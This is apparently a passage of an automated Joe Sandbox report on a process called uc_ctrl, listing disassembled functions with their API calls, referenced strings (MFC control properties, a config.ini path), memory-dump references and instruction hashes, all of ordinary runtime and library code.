Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Rect$Capture$Empty$ClientH_prolog3_InvertRelease
String ID:
API String ID: 3834698328-0
Opcode ID: c6e101348f1d085ed0e6963561bc146e517600c807adb5f64ffeb4b48a604255
Instruction ID: 3aa96437a0fabcf9fa3c5df94ff710b85371714dea8f397a58969017f1e8c0ce
Opcode Fuzzy Hash: c6e101348f1d085ed0e6963561bc146e517600c807adb5f64ffeb4b48a604255
Instruction Fuzzy Hash: 74814C31A01215AFCF05DFA8C988AED7BB6BF49304F144469EC16AB760DB34EE15CB58

Function 00777590 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 0077766E
memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 0077767E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 007776C9
memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 007776D1
memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 007776DF

Strings

\config\config.ini, xrefs: 00777676, 007776D7

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: \config\config.ini
API String ID: 2665656946-1549633339
Opcode ID: 015b49326772b05b4c3cc242eae1d4bd8027b50600a2122ea8a2793a2bbf72dd
Instruction ID: 20f5e0cd424dcf5e2a8adc4e190e923f8ff6d1566638326394196b45b3870d15
Opcode Fuzzy Hash: 015b49326772b05b4c3cc242eae1d4bd8027b50600a2122ea8a2793a2bbf72dd
Instruction Fuzzy Hash: 8C413972A04114EFCF08EF6CDC818AEB7A5FF84390B20866AE419D7255EB74DE11C791

Function 6C93CF90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93CF97

Strings

, xrefs: 6C93D0E1

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-3916222277
Opcode ID: 071fb330d5d45bbee89294ab9c85f5b6f74eca7a73007653c9bbb929c023d427
Instruction ID: 9f5a4fa25014dab629a823f058a66ed464e7f0126d4df8897403f7ec9633291e
Opcode Fuzzy Hash: 071fb330d5d45bbee89294ab9c85f5b6f74eca7a73007653c9bbb929c023d427
Instruction Fuzzy Hash: B5510F36910225DFDB24CF94C8A0AEDB3B5FF49324F546519E886A7B80DB30E945CB60

Function 6C6A2AAA Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C6A2AB1

Part of subcall function 6C69A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6C69A243

Part of subcall function 6C6E46CA: __EH_prolog3.LIBCMT ref: 6C6E46D1

Part of subcall function 6C6E602D: __EH_prolog3.LIBCMT ref: 6C6E6034

Strings

MFCMaskedEdit_Mask, xrefs: 6C6A2B28
MFCMaskedEdit_ValidChars, xrefs: 6C6A2C1C
MFCMaskedEdit_DefaultChar, xrefs: 6C6A2B9C
MFCMaskedEdit_SelectByGroup, xrefs: 6C6A2AED
MFCMaskedEdit_InputTemplate, xrefs: 6C6A2B60

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharH_prolog3_catchMultiWide
String ID: MFCMaskedEdit_DefaultChar$MFCMaskedEdit_InputTemplate$MFCMaskedEdit_Mask$MFCMaskedEdit_SelectByGroup$MFCMaskedEdit_ValidChars
API String ID: 207285973-975932772
Opcode ID: 5059bc604aceaa584ed6714324a6c16afe74671ff1e3c3ff9a9501d19bb8e9d7
Instruction ID: 748fd4d7d0ff4b83a02d656f68af2486b70fb1134d5dadc676fc1424d43f1e9e
Opcode Fuzzy Hash: 5059bc604aceaa584ed6714324a6c16afe74671ff1e3c3ff9a9501d19bb8e9d7
Instruction Fuzzy Hash: 45515D7190110A9BDF15DFA5C994EFEB7B8AF1630CF100459E412B7A90DB359E0ACB6C

Function 6C6A48E3 Relevance: 10.6, APIs: 7, Instructions: 147windowCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6C6A4938
SendMessageW.USER32(?,0000120C,00000000,00000002), ref: 6C6A4964
_wcslen.LIBCMT ref: 6C6A4971
SendMessageW.USER32(?,0000120C,00000001,00000002), ref: 6C6A4998
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6C6A49BD
GetCapture.USER32 ref: 6C6A4A4F
ReleaseCapture.USER32 ref: 6C6A4A59

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CaptureMessageSend_wcslen$RedrawReleaseWindow
String ID:
API String ID: 1886290311-0
Opcode ID: 231b945fe9669d60cdbf3a2c4d943d8b711e909a1299a3600e1ae2cc530f3466
Instruction ID: 3128bb5e8ebc1d2d827f5c87088fcaf580c29cd0b01953673a6e4d335b1cbdf8
Opcode Fuzzy Hash: 231b945fe9669d60cdbf3a2c4d943d8b711e909a1299a3600e1ae2cc530f3466
Instruction Fuzzy Hash: 6441AC357002159FDB059FA4DC88BBE77A6AF48754F140169E919AB7A0DF70AC02CBAC

Function 6C92E660 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E683
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6C92E70F
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E71D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E774

Strings

+, xrefs: 6C92E69B
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 6C92E717, 6C92E71C, 6C92E72D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _errnoisspacememchrtolower
String ID: +$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3579239451-4014772148
Opcode ID: 2b974fbd21e7f32c845e08eaa0203d4e0850bb760762b47320231d894536b221
Instruction ID: 5f9c73f19eeedc2128c8c04fbfafb26f8ed72aadd7365590bdbbc6844751a938
Opcode Fuzzy Hash: 2b974fbd21e7f32c845e08eaa0203d4e0850bb760762b47320231d894536b221
Instruction Fuzzy Hash: E0413734A652998BDF118E7D84D0B6D7FBDAF07716F240069E4D587A48C23CC942CBD1

Function 6C9437F0 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9437F7
std::locale::~locale.LIBCPMT ref: 6C943840

Part of subcall function 6C94505C: _Mpunct.LIBCPMT ref: 6C945067

Part of subcall function 6C93711C: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C937576,00000001,00000000,?,00000003,00000010,?,?,?,?,?,?), ref: 6C93714D

Part of subcall function 6C945043: _Mpunct.LIBCPMT ref: 6C94504E

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000070), ref: 6C943827

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949686: __EH_prolog3.LIBCMT ref: 6C94968D
Part of subcall function 6C949686: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E676,?,?,?,?,?,?,?,?,00000000), ref: 6C949698
Part of subcall function 6C949686: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C9496B0
Part of subcall function 6C949686: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C949712

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C9438F5
?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,00004000,00004000,00000000,00000000), ref: 6C94391B
_Stoulx.MSVCP140(?,?,00000000), ref: 6C94392C
std::locale::~locale.LIBCPMT ref: 6C94393E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?getloc@ios_base@std@@MpunctU?$char_traits@_V?$istreambuf_iterator@_Vlocale@2@std::locale::~locale$??1_Bid@locale@std@@Getifld@?$num_get@_H_prolog3H_prolog3_Lockit@std@@StoulxVlocale@2@@W@std@@@2@1W@std@@@std@@@std@@_invalid_parameter_noinfo_noreturn_lock_localesstd::locale::locale
String ID:
API String ID: 4097793118-0
Opcode ID: f04f5e5301e93d5c8be69a21f66f195737acf65ec7b8c0c814cb40dd2a861024
Instruction ID: f612f166d48e1d71efc1c3e60d8f13cee2f032f9f9300b61a0dc3abc5b5e2b7b
Opcode Fuzzy Hash: f04f5e5301e93d5c8be69a21f66f195737acf65ec7b8c0c814cb40dd2a861024
Instruction Fuzzy Hash: D7514B71900319EFDF14CFA4D995BDDBBB8AF25318F208258E419AB6D1EB70DA08CB51

Function 6C942E20 Relevance: 10.6, APIs: 7, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C942E27
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6C942E72
std::locale::~locale.LIBCPMT ref: 6C942E87
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6C942F25
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6C942F5F
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6C942F82

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1449803472-0
Opcode ID: e4c102b808fe0599674fc7b72be9e5cc64ba314e3d7831d5ec6c66b2556f8de3
Instruction ID: ee799de799168d488a2f11f2bcfed5ec06ce69d8339fe67aed4920df129be9f7
Opcode Fuzzy Hash: e4c102b808fe0599674fc7b72be9e5cc64ba314e3d7831d5ec6c66b2556f8de3
Instruction Fuzzy Hash: 3B518075900619EFDB14CF90C855BEEBBB8BF28318F448558E805ABB80D774E954CBA0

Function 6C9409D0 Relevance: 10.6, APIs: 7, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C9409D7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6C940A22
std::locale::~locale.LIBCPMT ref: 6C940A37
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6C940AD5
?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6C940B0F
?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6C940B32

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1449803472-0
Opcode ID: 119f058235baa610678c4fbb90cac6da1ac4b335230db3f2eaca491af7b7014e
Instruction ID: 5b2f63b7782c81ac2949fc64c820c87334d09aa379cb3e56595675616ba70453
Opcode Fuzzy Hash: 119f058235baa610678c4fbb90cac6da1ac4b335230db3f2eaca491af7b7014e
Instruction Fuzzy Hash: 55519F75900259EFDB04CF90C855BEEBBB8FF28318F049519E905ABB80D774EA54CBA0

Function 6C938990 Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938997
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6C9389E3
std::locale::~locale.LIBCPMT ref: 6C9389F8
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6C938A94
?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6C938ACE
?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6C938AF1

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Rep@?$num_put@$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@Vlocale@2@std::locale::~locale
String ID:
API String ID: 1039342991-0
Opcode ID: 7738777997199fa0f20174f26d89787910956eda8f66436e12884462e3c61d76
Instruction ID: 282c2fc09724a04254cf9e5aec69985794ee61147debe7b6e07a5004055a1b59
Opcode Fuzzy Hash: 7738777997199fa0f20174f26d89787910956eda8f66436e12884462e3c61d76
Instruction Fuzzy Hash: E0516175900269AFDF14CF94C854BEEBBB8BF18314F04511AE809E7B80D775EA54CBA4

Function 6C94FA10 Relevance: 10.6, APIs: 7, Instructions: 117COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94FA17
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000030), ref: 6C94FA26

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94FA42

Part of subcall function 6C93A822: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?,6C9396FB,?,00000000,00000000,?,6C939940,?,?,?,00000010,?,00000000,?), ref: 6C93A832

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Lockit@std@@U?$char_traits@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 866892492-0
Opcode ID: 1739fe0d573e48a3a5eb0110a5d8fe936f78450b854733bc0a7815d869cd8aad
Instruction ID: 06b531e074c18179a58ceadd15942b96b9d54b720671e26c1aeb08629cc793aa
Opcode Fuzzy Hash: 1739fe0d573e48a3a5eb0110a5d8fe936f78450b854733bc0a7815d869cd8aad
Instruction Fuzzy Hash: C5416E3590125A9FCF05CFA8C850AEEBBB1BF29318F158149E85567790C730EE56CFA4

Function 6C9305DD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?), ref: 6C93063A
__alloca_probe_16.LIBCMT ref: 6C930662
RaiseException.KERNEL32(?,?,?,?), ref: 6C930693
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9306AC
_CxxThrowException.VCRUNTIME140(?,6C963AE8), ref: 6C9306C2

Strings

csm, xrefs: 6C930607

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Exception$DecodePointerRaiseThrow__alloca_probe_16terminate
String ID: csm
API String ID: 1272311944-1018135373
Opcode ID: 15c03fd40ec3ddeeeed65ec850c845bb5ab07617f002522022ea9ee945206f51
Instruction ID: 0b627b4bdbc1574532b854536e5e497f3552e07786c43bfa46834627f1f42b90
Opcode Fuzzy Hash: 15c03fd40ec3ddeeeed65ec850c845bb5ab07617f002522022ea9ee945206f51
Instruction Fuzzy Hash: BC31D331A01218EBDF14DF95C840AAEB7BDFF91318F605219E80A9BA54C731DC55CB91

Function 6C69EC01 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C69EC08

Part of subcall function 6C69A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6C69A243

Part of subcall function 6C6E46CA: __EH_prolog3.LIBCMT ref: 6C6E46D1

Part of subcall function 6C6E602D: __EH_prolog3.LIBCMT ref: 6C6E6034

Strings

MFCColorButton_EnableAutomaticButton, xrefs: 6C69EC7C
MFCColorButton_ColumnsCount, xrefs: 6C69ECC0
MFCColorButton_EnableOtherButton, xrefs: 6C69EC44
Automatic, xrefs: 6C69EC9A
Other, xrefs: 6C69EC65

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: Automatic$MFCColorButton_ColumnsCount$MFCColorButton_EnableAutomaticButton$MFCColorButton_EnableOtherButton$Other
API String ID: 2949695960-3051800008
Opcode ID: 8fb35dfab9a6631ef3f8ac5a15b3158cbed2bbeb97f50d065c28267803081500
Instruction ID: 9df74ff6e48910c87ac50107c138f9a825ba59390b09235910bb97465be44503
Opcode Fuzzy Hash: 8fb35dfab9a6631ef3f8ac5a15b3158cbed2bbeb97f50d065c28267803081500
Instruction Fuzzy Hash: 9B31307190110AEADF10DBA0CA55EFFB7B8BF56708F104419E421B7A90DB35DA09CBA8

Function 6C944F4C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6C944F53
